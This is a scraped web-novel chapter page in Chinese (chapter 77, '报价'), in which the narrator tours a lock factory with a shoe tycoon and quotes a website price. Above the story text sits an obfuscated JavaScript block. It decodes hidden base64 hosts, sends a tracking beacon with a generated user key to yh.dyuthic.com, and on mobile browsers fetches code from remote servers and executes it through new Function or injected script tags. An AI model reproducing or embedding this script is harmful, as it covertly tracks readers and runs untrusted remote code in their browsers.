足迹
陈彬
登录
关灯
护眼
字体:

第077章 报价(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

去参观老彭的厂,也是我灵机一动的想法。

因为我感觉老彭自己最得意的就是他的厂区,他曾经跟我讲过,说全国范围内,造锁的企业有一家算一家,没有一家的厂房能跟他黄金锁业的厂房相比。

老彭这个人懂人情世故,有魄力,有能力,也有想象力,欠缺的地方第一可能是书的确是少读了一点,另外就是资金可能略微薄弱了一点。

而老黄一看就是老牌资本家,说中是真有货的人,老彭对结交这样的老板其实比较热衷。他在老黄面前如此捧我,给我抬轿子,我提出参观厂房,其实算是投桃报李。

第二天我和老黄去黄金锁业,在门口便看到了彩旗飘飘,然后看到了硕大的横幅:“热烈欢迎百盛鞋业集团董事局主席黄海山先生莅临我厂指导工作。”

还有一条横幅:“热烈欢迎博越科技高级商务总监陈彬先生莅临指导我厂指导工作。”

看到这一条横幅,我都觉得自己飘了。

这个老彭真的是有功力啊,我记得第一次拜访老彭的时候,他坐在茶台后面笑呵呵的像一尊菩萨,给我的感觉是这个土老板特别喜欢人吹捧他。

一旦说吹捧他的话,他便咧着嘴笑,好像特别高兴似的。

但是和老彭日子相处久了,就发现这个人外表粗犷,内心精明,如果真有人觉得把老彭捧高兴了,就能从他手中拿到单的话,那只能说这样的业务员绝对还是初级阶段,连做生意的门槛都没有找到。

那种状态是老彭的伪装,老彭自己擅长的恰就是吹捧,就是搞这些高情商的套路。

我和老黄进了厂之后,发现了一个问题,那就是没有关于老谢的横幅,谢明君也是厂长,算是有面子的人,为什么没有他的横幅呢?zx.r

我琢磨了一下,还是觉得老彭这个人高。

没有老谢,更下衬托出了老黄,因为老谢是老黄的手下,如果老谢也有,老黄的这横幅含金量就差了。

而他给我一条欢迎横幅,其实也是在老黄面前抬我,也是投桃报李。

另外,还有一点很关键,站在最现实利益的角度考虑,我是老彭能用得上的人,老黄也是他能用得上的人,老谢他用不上,从功利的角度,他没有必要拉这一条横幅。

这条横幅拉了,对他没有实际好处,反而给人的感觉老彭是个老好人,谁来都拉横幅!而这条横幅不拉,老谢不敢对他有意见,我和老黄同时都会觉得老彭这个人诚意足。

两条横幅,里面就有这么深的道道,着实让我觉得学到了东西。

黄金锁业今天从老彭开始,往下所有人都统一着装,摆出的是隆重欢迎的架势。

老彭是董事长兼总经理,下面有副总,有财务总监,人力资源总监,生产总监,一大堆的高管都列队欢迎我和老黄。

他们一个个跟我们握手,搞得非常有仪式感。

到了他们工厂区之后,老彭亲自给我们介绍他的自动化生产线,整个工厂只有两个人维护,全部都是自动化操作生产。

我也是第一次来老彭的这个车间,说句实在话,我也被震惊到了。

我说彭哥,你以前一直都藏拙啊,这么好的车间我都没有见过,今天我有点乡巴佬进城的感觉,觉得你这厂太稀奇了!

彭红波笑道:

“陈老弟,您擅长的是营销策划,搞生产这一点你不了解正常!但是我搞生产搞了一辈子,别看我书没有读书少,但是这些自动化编程的东西我是通的!

你别说是造锁了,就是黄总的鞋厂流水线,我也能想办法搞成全自动化的!”

彭红波说到这里,大手一挥道:

“科学技术是第一生产力,这是伟人讲的,不管怎么样,自动化是未来的趋势,我的原子锁成本为什么能下来,关键一点就是我的生产抓得好。

我们是制造业大国,未来要成为制造业强国,别的行业我不了解,但是我们制锁这个行业,我一定要努力要把制造产能和效率搞上去!”

彭红波表现出了很强的激情,不得不佩服他的确有成绩,有底气。

我开玩笑道:

“黄大哥,据我所知你最大的一家鞋厂员工有上万人之多,我说得保守一点,哪怕只解决三分之一的自动化,给你节省三千人工成本出来,你一年的利润都要赚盆满钵满!”

黄海山道:

“这个账很好算,三千人一人就算一万块钱的工资,一年都要发三千万的工资出去。所以搞自动化,机器人肯定是有前途,关键是要看什么时候能够在我们制鞋的这个行业实现!”

彭红波道:

“黄大哥,其实这是个伪概念,因为倘若你等着那一天的到来,可能到时候基本上所有的鞋厂都实现自动化了,大家同质化竞争,优势根本就不存在了。

只有你实现了自动化,其他人却还在搞手工,这个差价和收益才有意义,您说是不是?”

几人走走看看,聊聊,一个上午就结束了。

中午彭红波在厂里安排了丰盛的午餐,吃午饭的时候我和老黄还有老彭坐在一起,老彭拿了一瓶茅台出来非得要整一点。

酒过三巡,菜过五味,老黄忽然问我:

“陈老弟,如果我真要搞个中国皮鞋网,前期投资大概需要多少钱?”

我微微皱了一下眉头,稍微盘算了一下,道:

“黄老哥,这个项目我们帮你搭建完成,至少需要十二万!”

我报十二万这个数字让老彭吃了一惊,因为他的行业网站我只收七万块钱,我道:

“黄老哥是这样的,我们给彭哥做了一个站,他的报价我们便宜一点!因为当时我们是尝试做第一个站,零利润做单,但实际上他这个网站我们做下来还小亏了一点!

还有一个问题,那就是他锁业网难度比我们皮鞋网小,皮鞋网需要更强大的后台功能,功能也不一样……”

我这么一解释,这个报价就显得合理了。

实际上网络报价随意性很强,因为网站是复制的产品,但是对我来说,我必须要保证足够的利润,那样我才能保证以后的优质服务。